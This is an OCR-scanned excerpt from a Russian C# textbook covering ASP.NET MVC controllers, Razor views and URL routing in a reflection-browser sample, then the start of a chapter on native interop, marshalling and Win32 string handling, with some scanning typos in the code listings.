Глава 20 Л^- Данный аргумент должен называться id в силу того, что та- кое значение по умолчанию задается при конфигурации 3?'маршрутизации, определяемой Visual Studio при создании MVC-приложения. Вы можете изменить эту конфигурацию и использовать имя, которое лучше подходит вашему прило- жению. Но учитывайте, что в принципе имена, применяемые в контроллерах MVC, являются критичными. Принцип работы этого контроллерного метода очень прост. Метод запрашивает Modelsource, есть ли в нем сборка с указанным именем. Если такую сборку найти не удается, метод вызывает вспомогательную функцию, которая порождает специальный объект ActionResult типа HttpNotFoundResult. Этот объект заставляет MVC принудительно завер- шить HTTP-запрос с выдачей кода ошибки 404, означающего, что запро- шенный ресурс не существует. Но если модель доступна, то этот контрол- лер вызывает метод View, а вспомогательная функция, как было показано выше, создает объект ViewResult, сообщающий MVC, какое представле- ние следует использовать при выдаче ответа. Поскольку я не сообщаю имени представления, в ответе будет применяться представление с та- ким же именем, как у вызывающего метода (в данном случае — Assembly). Выше мы уже определили это представление как строго типизированное, поэтому для него требуется модель строго соответствующего типа. Этот тип мы передадим методу View в качестве аргумента. Итак, мы решили работать с AssemblyModel и собираемся отобразить эту модель с помощью представления Assembly.cshtml. Результат показан на рис. 20.6. Your logo here Home About Contact Assembly - mscorlib Veraort 4.000 Public key token: В77А5С561934НИ9 Рис. 20.6. Отображение модели AssemblyModel с помощью соответствующего представления 1062
ASP.NET Все операции обработки запросов в MVC соответствуют этой базо- вой структуре, но наш пример сильно упрощен. В качестве ввода для контроллера он принимает всего один элемент данных. Далее я покажу, как обрабатываются дополнительные данные. Обработка дополнительного ввода Часто приходится писать такие действия контроллеров, при которых принимается больше информации, чем может содержаться в единствен- ном URL. Например, вы хотите создать форму с несколькими полями ввода или планируете обрабатывать значения, которые были получе- ны в строке запроса в составе URL. MVC работает в ASP.NET, поэто- му вы могли бы задействовать здесь объекты запроса и отклика точно таким образом, как делается в любом другом ASP.NET приложении, но MVC предоставляет более простой подход. Чтобы проиллюстрировать данную возможность, я добавлю еще одну пару модель/представление, а потом покажу контроллер, предоставляющий доступ к ним через URL, одним из параметров которого является строка запроса. Эта модель, яв- ляющаяся типом .NET, показана в листинге 20.35. Листинг 20.35. Класс TypeModel using System; using System.Collections.Generic; using System.Linq; namespace MvcReflectionView.Models { public class TypeModel { public TypeModel(Type t) { Name = t.Name; Namespace = t.Namespace; ContainingAssembly = t.Assembly.GetName().Name; Methods = t.GetMethods().Select( m => m.Name).Distinct().ToList(); } public string Name { get; private set; } public string Namespace { get; private set; } public string ContainingAssembly { get; private set; } 1063
Глава 20 public IList<string> Methods { get; private set; } } } Соответствующее представление Type.cshtml очень сходно с тем, что находится в нашей сборке; это новое представление показано в листин- ге 20.36. Листинг 20.36. Представление для модели TypeModel Gmodel MvcReflectionView.Models.TypeModel @{ ViewBag.Title = "Type - + Model.Name; } <h2>@ViewBag.Title</h2> <div>Namespace: GModel.Namespace</div> <div>@Html.ActionLink(Model.ContainingAssembly, "Assembly", new { id = Model.ContainingAssembly })</div> <h3>Methods</h3> @foreach(string methodName in GModel.Methods) { <div>@methodName</div> } ' Еще один метод мне понадобится добавить в ModelSource, чтобы там можно было содержать TypeModel. Метод из листинга 20.37 должен быть добавлен к классу, показанному выше в листинге 20.31. Листинг 20.37. Добавляем поддержку TypeModel в ModelSource public static TypeModel GetTypeModel(string assemblyName, string typeName) { Assembly asm; if (!AvailableAssemblies.TryGetValue(assemblyName, out asm)) { return null; } Type t = asm.GetType(typeName); if (t == null) { return null; } return new TypeModel(t); } 1064
ASP.NET Обратите внимание: этот метод принимает два аргумента. Идентифи- катор типа содержит и имя самого типа, и название той сборки, в которой данный тип содержится. Поэтому в URL для показа данного типа должны содержаться оба этих элемента. Такое условие сложно выполнить при ис- пользовании той структуры URL, какую предлагает нам Visual Studio, где все локаторы ресурсов должны соответствовать шаблону http://yoursite/ controller/action/id. Нам действительно требуется разработать форму U RL, которая подойдет нам лучше, и мы сделаем это в разделе «Маршрутиза- ция» ниже. Пока же давайте остановимся на том, что нам приходится не- много исказить формат URL. Локатор ресурса http://yoursite/Reflection/ Туpe/mscorlib?typeName=Sy stem.String будет показывать класс System. String в сборке mscorlib. В листинге 20.38 продемонстрирован метод, ко- торый необходимо добавить к Reflectioncontroller (листинг 20.34), что- бы код из листинга 20.34 мог работать с URL такой формы. ' Листинг 20.38. Как контроллер действует при показе типов public ActionResult Type(string id, string typeName) { TypeModel model = ModelSource.GetTypeModel(id, typeName); if (model == null) { return HttpNotFoundO ; } return View(model); } Обработка параметра, содержащего строку запроса, — это простой случай добавления к методу такого параметра, чье имя совпадает с по- следовательностью символов, которую мы ожидаем встретить в строке запроса, typeName. Если вы работаете с формами, то можете применять примерно такой же подход: определяете по параметру для каждого поля, что должно быть заполнено в форме, причем имена параметров соответ- ствуют именам полей ввода, присутствующих в этой форме. Альтернативный подход — создать класс с некоторым количеством свойств, так чтобы одно свойство соответствовало одному полю ввода, и сделать этот класс единственным аргументом вашего метода. Имена данных свойств критичны настолько же, насколько важны имена аргу- ментов в ситуации, где на каждое поле ввода приходится один аргумент. При работе с данными форм и параметрами строки запроса именам свойств следует соответствовать названиям полей ввода или именам 1065
Глава 20 параметров. При работе с сегментами URL имена свойств должны со- ответствовать тем, что были указаны при настройке маршрутизации (например, при использовании конфигурации, действующей по умол- чанию, последняя часть URL должна соответствовать id). Теперь у нас есть способ для показа имен типов. Но как пользовате- ли найдут эти типы? Представление сборки демонстрирует список всех типов, которые в ней содержатся, поэтому самым важным качеством этого списка будет верное строение предоставляемых в нем ссылок. Генерирование активных ссылок Хотя представление и может аккуратно создать URL в таком форма- те, который, насколько нам известно, нужен для связывания его с каким- то другим представлением, MVC может создавать ссылки за нас. В ли- стинге 20.39 показан модифицированный вариант цикла, с которым мы работали в листинге 20.32 (он применялся для отображения типов, на- ходящихся в сборке). Вместо того чтобы просто отображать имя, этот код использует метод ActionLink вспомогательного свойства Html, гене- рирующий HTML-тег <а>, который будет связываться с верным URL. Листинг 20.39. Генерирование ссылок на представления типов Gforeach(string typeName in Model.Types) ( <div> @Html.ActionLink(typeName, "Type", new ( id = Model.SimpleName, typeName )) </div> I Первый аргумент метода ActionLink — обычный текст, он будет играть роль ссылки; в данном случае это имя типа. Следующий аргу- мент — имя действия, которое требуется активировать. По умолчанию данное действие должно происходить в том же контроллере, выбравшем представление, — таким образом, если Reflectioncontroller выбирает это представление, то его аргумент Туре относится к действию, представлен- ному методом Туре этого же контроллера. Именно это действие я толь- ко что добавил в листинге 20.38. (Существуют перегруженные вариан- ты ActionLink, которые принимают имя нужного контроллера, если вам требуется действовать за пределами текущего контроллера.) Последний аргумент предоставляет-информацию, должную быть записанной в этот 1066
ASP.NET контроллер, если пользователь нажмет ссылку. Данный код создает эк- земпляр анонимного типа с двумя свойствами, id и typeName. Как вы мог- ли заметить,-два этих аргумента соответствуют аргументам метода Туре из листинга 20.38. Метод ActionLink создает универсальный локатор ре- сурса, который будет записывать указанное простое имя сборки и имя типа как значения аргументов id и typeName соответственно (например, http://yoursite/Reflection/Type/mscorlib?typeName=System.String). Такой механизм сработает, но этот URL получился довольно некраси- вым. Нам следует адаптировать конфигурацию нашего веб-приложения таким образом, чтобы структура URL лучше соответствовала инфор- мации, которую мы хотим представлять. Для этого нам нужна возмож- ность, доступная в любых разновидностях приложений ASP.NET, но особенно важная в MVC-приложениях. Маршрутизация В ASP.NET есть система маршрутизации, определяющая, какой фрагмент кода будет обрабатывать каждый запрос. Если вы создае- те страничное приложение, то применяемая по умолчанию политика маршрутизации напрямую соотносит структуру URL и структуру фай- лов и каталогов, из которых состоит приложение. В случае с MVC-при- ложением Visual Studio генерирует код, действующий немного иначе. Если заглянуть в каталог AppStart нового MVC-проекта, там вы най- дете файл RouteConfig.cs, который будет выглядеть примерно как в ли- стинге 20.40. Кстати, имя и расположение этого файла вполне обычны. Файл работает именно потому, что вызывается из метода Application_ Start, находящегося в файле Global.asax. А вот файл GlobaLasax уже особенный — он содержит обработчики событий, срабатывающих в мас- штабах всего приложения. Примером такого события является Start, происходящее, когда приложение начинает работу. Листинг 20.40. Типичный файл RouteConfig.cs. using System.Web.Http; using Systern.Web.Mvc; using System.Web.Routing; namespace MvcReflectionView { public class RouteConfig { 1067
Глава 20 public static void RegisterRoutes( Routecollection routes) { routes.IgnoreRoute("{resource}.axd/{*pathlnfо}"); routes.MapHttpRoute( name: "DefaultApi", routeTemplate: "api/{controller}/{id}", defaults: new { id = RouteParameter.Optional } ); routes.MapRoute( name: "Default", uri: "{controller}/{action}/{id}", defaults: new { controller = "Home", action = "Index", id = UrlParameter.Optional ) ); } } } x Первый вызов, выполняемый методом RegisterRoutes в листин- ге 20.40, отключает маршрутизацию для определенных запросов. Речь идет о некоторых URL, представляющих динамически создаваемые ре- сурсы (примером такого ресурса является коллекция JavaScript-файлов, объединенных в одну загрузку). ASP.NET автоматически обрабатывает такие URL, но иногда этот механизм может ломаться именно из-за новых правил маршрутизации, нарушающих его функционирование. Рассматри- ваемый здесь вызов IgnoreRoute как раз предотвращает такое развитие со- бытий. В данном случае при выборе обработчиков ASP.NET откатывается к более простому механизму, в котором используются джокерные симво- лы. Следующий вызов, MapHttpRoute, в этой ситуации нерелевантен. Он предназначен для поддержки URL, представляющих неинтерактивные ресурсы — из таких, например, состоят веб-API, построенные по принци- пу REST. В этом примере интересен'самый последний вызов. Вызов MapRoute создает шаблон URL, используемый по умолча- нию, — тот, с которым мы уже научились работать. Аргумент uri ука- 1068
ASP.NET зывает, что эта конкретная запись маршрутизации будет обрабатывать любой URL, чей путь состоит из трех частей, например http://yoursite/ Reflection/Assembly/mscorlib и т. п. Именно этот код определяет, что в первой частгГйазывается контроллер, а во второй — действующий ме- тод. Строки controller и action являются в MVC критичными, а ша- блон подсказывает, где данные последовательности символов находятся в URL. Кстати, именно этот код требует, чтобы мы назвали один из на- ших аргументов действий id. Последний аргумент, сообщаемый MapRoute, определяет, что делать, если каких-то нужных частей в ссылке не найдется. Он указывает, что часть id может отсутствовать (хотя на практике такая ссылка будет ра- ботать лишь в случае, если в контроллере присутствует и соответствую- щий метод действия, не принимающий одноименный аргумент). Кро- ме того, может отсутствовать и «действующая» част» URL, но на такой случай указывается часть, которая будет по умолчанию использоваться в качестве действующей; она называется Index. Именно поэтому сгенери- рованный контроллер, рассмотренный нами в листинге 20.28, содержит метод Index. А если вы не укажете и сам контроллер, в листинге 20.40 на этот случай предусмотрено применяемое по умолчанию значение Ноте. При нем будет выбираться HomeControllpr. Давайте добавим пару новых маршрутов, которые лучше соответ- ствуют нашим требованиям. Я хочу использовать для показа сборок универсальные локаторы ресурсов вида http://site/Reflection/mscorlib/, а для показа типов — URL вида http://site/Reflection/mscorlib/System. String/. Обратите внимание: теперь такие URL подразумевают иерар- хичность. Имя типа представляется как ресурс, расположенный ниже сборки. В листинге 20.41 показано, как добавлять маршруты в такую структуру. В листинге 20.40 этот код должен идти до вызова к MapRoute, так как ASP.NET интерпретирует правила по порядку. Если правило определения типа URL придет последним, то оно и не будет использо- ваться, так как все URL, состоящие из трех сегментов, станут сопостав- ляться с уже имеющимся образцом. Наиболее общие правила должны идти в конце, чтобы более частные правила могли сработать. Листинг 20.41. Пользовательский маршрут для типов routes.MapRoute( name: "Assembly", url: "Reflection/(assemblyName)/", defaults: new { controller = "Reflection", 1069
Глава 20 action = "Assembly" }); routes.MapRoute( name: "Type", uri: "RefPection/{assemblyName}/{typeName} / ", defaults: new { controller = "Reflection", action = "Type" }); RouteTable.Routes.AppendTrailingSlash = true; Последняя строка нужна здесь потому, что, когда ASP.NET генери- рует ссылки (например, при помощи вспомогательного метода Html. ActionLink), он обычно отсекает ведущие слэши, даже если они нуж- ны при указании маршрута. Я этого не хочу — URL вида http://site/ Reflection/mscorlib/System.String выглядит так, как будто указывает на какой-то файл System с расширением .String. Поэтому я предпочитаю вариант с ведущим слэшем. Кроме того, было бы логично расширять приложение таким образом, чтобы оно имело дополнительные субре- сурсы, представляющие члены типа. Мне потребуется изменить и контроллер — параметр, именующий сборку, у меня больше не называется id. Я подобрал для него более ин- формативное название assemblyName, и нам нужно обновить объявления метода действий данного контроллера, чтобы они соответствовали такой новой конфигурации маршрутизации. И это явное улучшение, так как подобное название помогает лучше понять, что происходит при вводе. Кроме того, понадобится изменить и представление сборки, так как в нем генерируются ссылки на типы, а способ нашего доступа к типам немного изменился. В листинге 20.42 показана измененная строка кода для цикла @ foreach, рассмотренного в листинге 20.39. Листинг 20.42. Согласование активной ссылки с маршрутом <div> @Html.ActionLink(typeName, "Type", new { assemblyName = Model.Simp1eName, typeName }) </div> Единственное изменение заключается в следующем: раньше я сооб- щал значение id как часть информации, записываемой в целевую ссыл- ку, а теперь использую идентификатор assemblyName, чтобы учесть все изменения, которые я внес в контроллер и в систему маршрутизации. Теперь в моем примере не только^беспечивается правильное отображе- ние сборок и типов, но и URL, представляющие эти ресурсы, работают 1070
ASP.NET именно так, как я хочу. Я могу отказаться от использования существую- щего шаблона, не соответствующего моим нуждам. Чтобы завершить этот пример, я хотел бы добавить еще один ресурс: страницу, которая~будет использоваться по умолчанию и отображать все имеющиеся сборки со ссылками. Опять же, мне понадобится модель. Как показано в листинге 20.43, она будет совсем проста. Это еще один пример того, что модель предметной области не всегда подходит в каче- стве модели в MVC-приложении. Здесь она не соответствует ни одному из существующих типов в API-интерфейсе отражения, предоставляе- мом веб-приложением. Листинг 20.43. Высокоуровневая модель using System.Collections.Generic; using System.Linq; namespace MvcReflectionView.Models { public class ReflectionModel { public ReflectionModel! IEnumerable<string> assemblyNames) { Assemblies = assemblyNames.ToList(); ) public IList<string> Assemblies ( get; private set; | I ) Нам нужно добавить в класс Modelsource соответствующий вспомо- гательный метод, показанный в листинге 20.44. Листинг 20.44. Предоставление высокоуровневой модели public static ReflectionModel GetReflectionModelО ( return new ReflectionModel(AvailableAssemblies.Keys); I Данное представление отобразит список сборок как набор ссылок. Подобный прием мы уже использовали, когда ссылались на типы. Я при- свою представлению имя Index, поскольку это имя является общепри- нятым для таких высокоуровневых представлений. Соответствующий код показан в листинге 20.45. 1071
Глава 20 Листинг 20.45. Высокоуровневое представление Gmodel MvcReflectionView.Models.ReflectionModel @{ ViewBag.Title = "Index"; } <h2>Assemblies</h2> Gforeach(string assemblyName in Model.Assemblies) { <div> @Html.ActionLink(assemblyName, "Assembly", new { assemblyName }) </div> I Контроллер должен соединять модель и представление, поэтому код из листинга 20.46 следует добавить к Reflectioncontroller. Листинг 20.46. Действие Index для Reflectioncontroller public ActionResult Index() { return View(Modelsource.GetReflectionModel()); } Я хочу, чтобы эта страница была доступна по ссылке http://yoursite/ Reflection/. Поэтому вы могли бы предположить, что сейчас нужно доба- вить маршрут. Но я так не делаю, поскольку с данной задачей справится маршрут, заданный Visual Studio по умолчанию при создании проекта. Этот URL не будет совпадать ни с одним из двух маршрутов, которые я добавил в листинге 20.41, так как оба эти маршрута указывают неоп- циональные разделы после сегмента Reflection. В результате система маршрутизации заключит, что ни одно из данных правил не применяется к рассматриваемому URL, и вернется к использованию исходного прави- ла, которое я не трогал. Таким образом, я могу опустить фрагменты action и ID, выбрав заданное по умолчанию действие Index. Здесь будет вызван метод Index моего контроллера Reflectioncontroller, чего я и добивался. А что если бы я решил вообще избавиться от этого исходного пра- вила? Например, мог бы решить, что мне требуется полный контроль над всеми моими URL, а не удовлетворился бы обычным универсаль- ным шаблоном. Тогда я мог бы добавить специализированный маршрут, чтобы указывать, когда следует отступать от исходного правила. Этот маршрут показан в листинге 20.47. 1072
ASP. NET Листинг 20.47. Явное задание маршрута для метода index routes.MapRoute ( name: "Reflection", uri: "Reflection/", defaults: new { controller = "Reflection", action "Index" }); После того как все эти шаги окажутся сделаны, при нажатии на ссыл- ку http://yoursite/Reflection/ отобразится список всех сборок, доступ к которым открыт в классе ModelSource. Каждая позиция в списке будет сопровождаться ссылкой на страницу, соответствующую этой сборке (например, http://yoursite/Reflection/System.Web/). На этой странице, в свою очередь, будет находиться набор ссылок на все типы, содержа- щиеся в сборке, например http://site/Reflection/System.Web/System.Web. HttpRequest/. Резюме В этой главе были рассмотрены два механизма визуализации для соз- дания веб-страниц, способных содержать контент, динамически сгене- рированный на сервере. Razor обладает простым синтаксисом, который позволяет свести содержимое ваших файлов только к самому необходи- мому коду C# и разметке. Синтаксис .aspx, используемый на страницах веб-форм, более многословен, но страницы, созданные по такому прин- ципу, поддерживают модель серверных элементов управления. Любой из двух подходов может использоваться с шаблоном MVC, где проис- ходит разделение некоторых зон ответственности, в частности: описа- ние данных, какие требуется отобразить, решение о том, как обработать запрос, и определение способа представления результатов. Этот шаблон используется вместе с маршрутизацией, обеспечивающей сравнительно сложное структурирование сайтов, не ограничиваясь простым подхо- дом, при котором строение URL строго соответствует той организации файловой системы сайта, что применяется на серверной стороне.
Глава 21 ИНТЕРОПЕРАБЕЛЬНОСТЬ В программах, написанных на С#, иногда приходится применять программные компоненты, которые не реализованы в .NET. Большин- ство сервисов, предоставляемых в Windows, предназначено для исполь- зования из неуправляемого кода (то есть кода, который не применяет среду управляемого выполнения, предоставляемую CLR). Хотя в би- блиотеке классов .NET Framework и предоставляются обертки для мно- гих подобных сущностей, вам, возможно, потребуется воспользоваться возможностью, для которой нет управляемого API. Кроме того, у вас или у вашей организации может иметься неуправ- ляемый код, который понадобилось использовать из С#. Общеязыковая среда выполнения поддерживает такие варианты действий при помощи возможностей интероперабельности, обеспечивающих использование нативных (то есть неуправляемых) API из языка С#. Нативные API, поддерживаемые в рамках интероперабельности, делятся на три основные категории. Можно делать вызовы к нативным библиотекам динамической компоновки — именно так поддерживается большинство API Win32. Такая форма интероперабельности называется платформозависи- мым вызовом (Platform Invoke или P/Invoke). Вы также можете исполь- зовать объектную модель компонентов, поддерживающую объектные нативные API. Наконец, начиная с Windows 8, у нас есть среда Windows Runtime. Хотя она и основана на объектной модели компонентов (СОМ- модели), в .NET 4.5 реализована специализированная поддержка этой среды. Она выходит за рамки обычных COM-взаимодействий, позволяя использовать классы Windows Runtime с C# более органично, чем дру- гие API, применяющие модель СОМ. Независимо от того, какой из трех вариантов используете вы, не- которые аспекты интероперабельности применимы во всех вариантах. Сначала я опишу эти общие черты, а потом перейду к рассказу о воз- можностях, специфичных для конкретных технологий. 1074
Интероперабельность Вызов нативного кода Независимо от-того, нативные API какого рода вы используете, ин- тероперабельность связана с применением особого потока. Этот поток пересекает границу между управляемым и нативным кодом, а потом пересекает ее в обратном направлении (если, конечно, вызов вернулся). Существует ряд проблем, осложняющих переход между управляемым выполнением и нативным кодом. О них мы поговорим в нескольких следующих разделах. Маршалинг Некоторые типы данных имеют в Windows лишь одно широко рас- пространенное двоичное представление. Например, процессор может напрямую работать с 32-битными целыми числами. Строго говоря, су- ществует не один общепринятый способ представления такого значе- ния в тех четырех байтах, что используются для его хранения. Так, не- которые процессоры хранят старший байт по самому нижнему адресу в памяти («от старшего к младшему»), в то время как процессоры Intel действуют прямо противоположным образом («от младшего к старше- му»). Однако, когда речь идет о передаче целочисленных аргументов, наиболее эффективный подход связан с применением нативного фор- мата, это справедливо как для управляемого, так и для неуправляемого кода. Большинство систем, на которых сегодня используется общеязы- ковая среда выполнения, работают по принципу «от младшего к старше- му», за исключением ХЬох 360. Тем не менее не все типы данных могут похвастаться таким консенсусом. Например, существует много спосо- бов представления строк. Некоторые API принимают строки с завер- шающим нулем, другие ожидают формата с префикс-размером (length- prefixed). Некоторые ожидают однобайтовой системы кодирования, тогда как другие рассчитывают получить по два байта на символ. Даже такая простая сущность, как булевское значение, имеет в Windows три распространенных представления. Общеязыковая среда выполнения обычно избегает такой вариатив- ности, просто не оставляя вам выбора. Например, она определяет всего один тип строки или всего один тип булевского значения. Но при этом нативный API вполне может использовать совсем не то представление, что применяется в .NET, в случае чего CLR потребуется преобразовать аргументы в такую форму, в какой их ожидает получить нативный ме- 1075
Глава 21 тод. Это касается любой информации, которую метод передает обратно вызывающей стороне, либо в качестве возвращаемого значения, либо в параметре out или ref. Такой процесс преобразования к нужному типу данных называется маршалинг. Маршалинг оказывает существенное влияние на производитель- ность. Если вам требуется использовать API, не находящийся под вашим контролем, то у вас нет иного выбора, кроме как принять все сопутству- ющие издержки. Но если вы создаете неуправляемый API, к которому можно обращаться из .NET, стоит учитывать факторы, что могут сказы- ваться на производительности. Подробнее об этом рассказано во врезке «Побитно копируемые типы». Чтобы организовать правильный маршалинг аргументов, CLR долж- на знать, какое конкретное представление в данном случае использует- ся. Эту информацию предоставляет атрибут MarshalAs. В листинге 21.1 показано объявление на языке С#, где мы видим нативный метод, опре- деленный в библиотеке advapi32.dll Win32. Его возвращаемый тип явля- ется bool, а второй аргумент — это string. Оба данных типа проблемные, так как имеют в неуправляемом коде множество вариантов представле- ния. Используемый здесь атрибут Dll Import будет подробно рассмотрен в разделе «Платформозависимый вызов». Листинг 21М. Атрибут MarshalAs [Dlllmport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool BackupEventLog( IntPtr hEventLog, [MarshalAs(UnmanagedType.LPTStr)] string backupFile); Побитно копируемые типы На уровне интероперабельности различаются типы, являющиеся и не являющиеся побитно копируемыми (blittable). Побитно копи- руемым называется такой тип, чье двоичное представление в среде CLR не отличается от представления эквивалентного неуправляемо- го типа. Например, CLR использует нативный формат компьютера для работы со всеми встроенными числовыми типами. Поэтому не требуется никакого преобразования, если вы хотите передать зна- чение переменной int в неуправляемый API, принимающий 32-бит- ные целочисленные значениягсб знаком. 1076
И нтероперабе льность В свою очередь, тип System, string не является побитно копируемым. Большинство нативных API используют строки, завершающиеся ну- лем, тогда как J1ET сохраняет длину отдельно. Модель СОМ опре- деляет строковый тип, более схожий с аналогичным типом, приме- няемым в .NET (некоторые API, не следующие модели СОМ, также применяют этот тип). Тем не менее двоичное представление bstr отличается от такого представления в .NET, и bstr подчиняется спе- циальным правилам по работе с памятью. Поэтому bstr и строки из .NET не взаимозаменяемы. Многие API могут принимать в виде аргументов указатели на струк- туры данных. Если все поля структуры побитно копируемы, то сама структура также побитно копируема. Если же хотя бы одно из полей не поддерживает побитного копирования, то его не поддерживает и вся структура. CLR отлично справляется с передачей через интеродерабельные границы таких аргументов, которые не являются побитно копи- руемыми. Кроме того, CLR может делать копии данных из этих ар- гументов, уже в требуемом формате. Такие нативные методы, чьи аргументы и возвращаемые значения побитно копируемы (все без исключения), наиболее эффективны при вызове, так как CLR не при- ходится создавать новые копии каких бы то ни было сущностей. Ключевое слово extern сообщает компилятору, что тело метода определено где-то в другом месте (в данном случае это делается в неу- правляемой динамически подключаемой библиотеке). Без такого клю- чевого слова компилятор жаловался бы, что у метода отсутствует тело. C# допускает применение данного ключевого слова лишь в тех случаях, когда программа может каким-то образом узнать, откуда берется реа- лизация. Обычно такие ситуации возникают именно в сценариях, свя- занных с интероперабельностью (хотя Microsoft применяет подобную функцию и в коде своей библиотеки классов для вызова некоторых возможностей, присущих CLR). Поэтому на практике это слово может использоваться либо с атрибутом Dll Import, либо при взаимодействии с моделью СОМ. Чтобы предоставить CLR информацию, нужную ей для правильной обработки этих значений, я применил атрибуты MarshalAs с возвращае- мым значением и аргументом string. Для работы с данным атрибутом вы предоставляете член перечислимого типа UnmanagedType. Например, его член Bool указывает, что этот метод использует представление Win32 BOOL. В данном случае мы имеем дело с расточительным использованием 1077
Глава 21 целых четырех байтов для хранения всего одного бита информации, где значение 0 соответствует «ложь», а все другие значения соответствуют «истина». Я воспользовался этой возможностью в атрибуте, применяе- мом к возвращаемому типу метода. Поэтому CLR будет проверять воз- вращаемое значение и преобразовывать его в представление, используе- мое внутри этой среды. System. Boolean или bool, как этот тип называется в С#, занимает всего один байт. Я не использовал никаких атрибутов с первым аргументом, так как он там и не нужен. Тип IntPtr всегда соответствует указателю нужной ширины в зависимости от того, в каком процессе вы работаете — 32- битном или 64-битном. Этот тип приблизительно соответствует void, применяемому в С или C++: при его использовании вы можете быть уверены лишь в том, что переменные данного типа могут указывать на что-либо, но вы не обязательно будете знать на что. Даже при работе с параметрами, не требующими указания ш атрибутов маршалинга, CLR все равно должна знать их типы — Я}'чтобы она могла передавать им аргументы правильной формы и размера. В листинге 21.1 CLR сообщает эту информацию в виде объявления метода. Как будет показано ниже, при каж- дой из трех форм интероперабельности используются соб- ственные, немного отличающиеся способы предоставления CLR метаданных, которые ей нужны. Аргумент string немного сложнее. Я задал здесь LPTStr, и если вы знакомы с соглашениями об именовании, действующими в Win32, то знаете, что LPTStr — строка, завершающаяся нулем и при этом жестко не указывающая, какую кодировку следует использовать. В результате обработка строк несколько усложняется. Обработка строк Способ, используемый CLR для управления строками на границах взаимодействий, покажется вам логичным лишь в том случае, если вы знаете историю развития строковых аргументов Win32 API. Первые «потребительские» версии Windows, поддерживавшие Win32, не обе- спечивали полной поддержки кодировки Unicode, а большинство API, работавших со строками, использовали однобайтовые символы. На тот момент объемы компьютерной памяти были очень малы: Windows 95 могла работать на компьютерах с 4 Мб оперативки. Процессор моего по- 1078
Интероперабельность трепанного настольного ПК (которому уже больше четырех лет) име- ет в три раза больше памяти в одном только кэше, а основная память в тысячи раз объемнее. На заре существования Win32 выделение двух байтов на каждый символ считалось непозволительной роскошью, если существовала возможность адекватно представить пользовательский язык в однобайтовой кодировке. Тем временем Microsoft планировала поддерживать многоязычные приложения в более тяжеловесном продукте — Windows NT, поэтому стала работать с двухбайтным представлением. В те времена каждая точка кода, определяемая в Unicode, умещалась в 16 бит. Таким обра- зом, вы могли работать с полным диапазоном символов, даже не стал- киваясь с кодировкой переменной длины. Теперь же существует более 65 536 точек кода Unicode, поэтому, оглядываясь назад, мы могли бы считать наилучшей кодировкой UTF-8, а не Unicode. Загвоздка лишь в том, что Windows NT появилась на несколько лет раньше, чем та вер- сия спецификации Unicode, где была описана кодировка UTF-8. Разу- меется, Microsoft хотела иметь возможность писать такие приложения, которые работали бы во всех 32-битных версиях Windows. Поэтому Windows NT, наиболее современный продукт своего времени, включа- ла одновременно и однобайтовую, и двухбайтовую версию каждого API Win32, способного принимать строки. Если вы внимательно рассмотрите точки входа для динамически подключаемой библиотеки Win32 DLL, то заметите этот двойной API. Например, в advapi32.dll нет экспорта, называемого BackupEventLog, — вместо него вы найдете BackEventLogA и BackupEventLogW. Первый при- нимает указатель на однобайтную константную строку (тип, именуемый в Windows SDK LPCSTR), а второй — на двухбайтную константную строку (LPCWSTR). А в конце первого метода означает «ANSI» (как было указано в главе 16, эта аббревиатура является немного неточным, но повсемест- но распространенным названием однобайтной кодировки в Windows). W означает «wide» (широкий) — ведь два байта действительно шире, чем один. В SDK предоставляются различные макрокоманды, позволяющие писать единый файл с исходным кодом, способным компилироваться как в однобайтном, так и в двухбайтном режиме, с простым изменени- ем настроек компилятора. Одна настройка позволит вам сделать такую версию приложения, которая работала бы и на Windows 95. Такие дво- ичные файлы работали бы и в версиях Windows, понимающих Unicode, но тем не менее обеспечивали бы весьма ограниченную поддержку тек- 1079
Глава 21 ста за пределами базового диапазона ASCII. Но если бы вы использо- вали текстовые макрокоманды правильно, то код компилировался бы в точно такую версию, какая применяется и с «широкими» API. Итого- вый код работал бы только в тех версиях Windows, где поддерживается Unicode, зато ваши приложения были бы способны правильно обраба- тывать многоязычный текст. От всего этого рассказа веет седой древностью, учитывая, что во всех релизах Windows после 2001 года поддерживаются широкие API. Windows ME была последней версией, в которой предлагалась только однобайтная версия, и Microsoft прекратила ее поддержку в 2006 году. Тем не менее, если вы занимаетесь интероперабельностью, очень важно знать историю, так как она помогает понять, как происходит обработка текста при вызове нативного кода. Первые версии .NET могли работать не только в тех вариантах Windows, которые поддерживают Unicode, но и на тех, где поддержива- лись лишь однобайтные кодировки. Следовательно, если вы хотели вы- звать API Win32 из .NET, то было целесообразно использовать широкую символьную кодировку там, где она возможна, но предусмотреть и вари- ант с откатом к однобайтной кодировке в случае необходимости. Итак, CLR известцо соглашение об именовании А/W. Обратите внимание: атрибут Dll Import в листинге 21.1 устанавливает CharSet в Auto. В ре- зультате CLR начинает искать BackupEventLogW и вызывает этот метод, если найдет его. В таком случае все аргументы LPTStr будут преобразо- ваны в строки, завершающиеся нулем, в двухбайтной кодировке. Если же метод BackupEventLogW отсутствует, общеязыковая среда выполнения вызовет BackEventLogA и будет использовать однобайтную кодировку. Если вам так проще, можете действовать явно. В перечислении UnmanagedType есть члены LPStr и LPWStr. Здесь также поддерживается BSTR — для тех случаев, когда приходится использовать строковые типы, применяемые в модели СОМ. В .NET 4.5 добавляется HSTRING — еще один нативный строковый тип, присутствующий в Windows Runtime. Если быть абсолютно точным, то HSTRING не является новым строковым типом. Это просто обертка, обеспечивающая маршалинг строк несколь- ких типов через границы взаимодействий в отсутствие необходимости при этом копировать базовые символьные данные. Строки требуют, чтобы CLR выполняла определенную работу по их преобразованию. Но это еще мелочь по сравнению с тем, что приходится делать при передаче объектов через границы взаимодействий. 1080
